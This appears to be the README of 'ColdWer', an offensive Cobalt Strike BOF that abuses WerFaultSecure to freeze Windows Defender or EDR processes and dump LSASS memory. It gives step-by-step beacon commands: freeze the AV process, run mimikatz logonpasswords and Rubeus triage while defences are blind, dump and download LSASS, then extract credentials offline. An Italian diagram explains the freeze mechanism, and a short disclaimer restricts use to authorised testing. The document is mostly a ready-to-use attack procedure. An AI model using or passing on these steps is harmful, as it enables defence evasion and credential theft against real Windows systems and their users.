C O L D W E R
        └─┴─┴── WerFaultSecure
    └─┴──────── LSASS Dump
└─┴──────────── Cold (Freeze)

git clone https://github.com/0xsh3llf1r3/ColdWer.git

# Navigate to source directory
cd src/

# Compile BOF (requires MinGW)
make

# Or manually:
x86_64-w64-mingw32-gcc -c coldwer.c -o ../cw/coldwer.o

# Find Windows Defender PID
beacon> ps

# Freeze the process
beacon> cw-freeze 1337

# Execute your commands while EDR/AV is frozen
beacon> mimikatz sekurlsa::logonpasswords
beacon> execute-assembly /tools/Rubeus.exe triage

# Unfreeze when done
beacon> cw-unfreeze

# Step 1: Upload Win8.1 WerFaultSecure.exe
beacon> cd C:\Windows\Temp
beacon> upload /path/to/bin/wfs.exe

# Step 2: Find LSASS PID
beacon> ps

# Step 3: Dump LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe

# Step 4: Download the dump
beacon> download C:\Windows\Temp\lsass.dmp

mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords

# Freeze with default path
beacon> cw-freeze 1337

# Use custom WerFaultSecure.exe
beacon> cw-freeze 1337 C:\Windows\Temp\wfs.exe

# Dump LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe

# Unfreeze when done
beacon> cw-unfreeze

1. 🚀 Avvia WerFaultSecure.exe come PPL (livello WinTcb)
                    ↓
2. 🎯 WerFaultSecure si collega al processo target
                    ↓
3. ⏸️  MiniDumpWriteDump sospende tutti i thread del target
                    ↓
4. 🥶 Sospendi WerFaultSecure stesso → Il target rimane congelato
                    ↓
5. ✅ Esegui i tuoi comandi (EDR/AV non vede nulla!)
                    ↓
6. 🔥 Termina WerFaultSecure → Il target si scongela

⚠️ SOLO PER TEST DI SICUREZZA AUTORIZZATI

Questo strumento è pensato per:
- Test di penetrazione autorizzati
- Operazioni red team con autorizzazione scritta
- Ricerca sulla sicurezza in ambienti controllati

L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo strumento.
L'accesso non autorizzato a sistemi informatici è illegale.